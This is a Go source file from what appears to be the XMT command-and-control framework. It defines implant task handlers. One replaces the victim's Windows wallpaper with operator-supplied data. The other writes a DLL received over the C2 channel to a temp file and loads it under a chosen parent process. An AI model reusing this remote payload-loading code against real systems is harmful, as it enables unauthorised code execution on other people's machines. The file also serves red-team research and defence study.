github.com/iDigitalFlame/xmt@v0.5.4/c2/task/yx_windows_no_crypt.go (about) 1 //go:build windows && !crypt 2 // +build windows,!crypt 3 4 // Copyright (C) 2020 - 2023 iDigitalFlame 5 // 6 // This program is free software: you can redistribute it and/or modify 7 // it under the terms of the GNU General Public License as published by 8 // the Free Software Foundation, either version 3 of the License, or 9 // any later version. 10 // 11 // This program is distributed in the hope that it will be useful, 12 // but WITHOUT ANY WARRANTY; without even the implied warranty of 13 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 // GNU General Public License for more details. 15 // 16 // You should have received a copy of the GNU General Public License 17 // along with this program. If not, see <https://www.gnu.org/licenses/>. 18 // 19 20 package task 21 22 import ( 23 "context" 24 "io" 25 "os" 26 27 "github.com/iDigitalFlame/xmt/cmd" 28 "github.com/iDigitalFlame/xmt/data" 29 "github.com/iDigitalFlame/xmt/device/winapi" 30 ) 31 32 func taskTrollSetWallpaper(r data.Reader) error { 33 f, err := data.CreateTemp("", "*.jpg") 34 if err != nil { 35 return err 36 } 37 _, err = io.Copy(f, r) 38 if f.Close(); err != nil { 39 os.Remove(f.Name()) 40 return err 41 } 42 return winapi.SetWallpaper(f.Name()) 43 } 44 45 // DLLUnmarshal will read this DLL's struct data from the supplied reader and 46 // returns a DLL runnable struct along with the wait and delete status booleans. 47 // 48 // This function returns an error if building or reading fails or if the device 49 // is not running Windows. 50 func DLLUnmarshal(x context.Context, r data.Reader) (*cmd.DLL, bool, bool, error) { 51 var d DLL 52 if err := d.UnmarshalStream(r); err != nil { 53 return nil, false, false, err 54 } 55 if len(d.Data) == 0 && len(d.Path) == 0 { 56 return nil, false, false, cmd.ErrEmptyCommand 57 } 58 p := d.Path 59 if len(d.Data) > 0 { 60 f, err := data.CreateTemp("", "*.dll") 61 if err != nil { 62 return nil, false, false, err 63 } 64 _, err = f.Write(d.Data) 65 if f.Close(); err != nil { 66 os.Remove(f.Name()) 67 return nil, false, false, err 68 } 69 p = f.Name() 70 } 71 v := cmd.NewDLLContext(x, p) 72 v.Timeout = d.Timeout 73 v.SetParent(d.Filter) 74 return v, d.Wait, d.Path != p, nil 75 }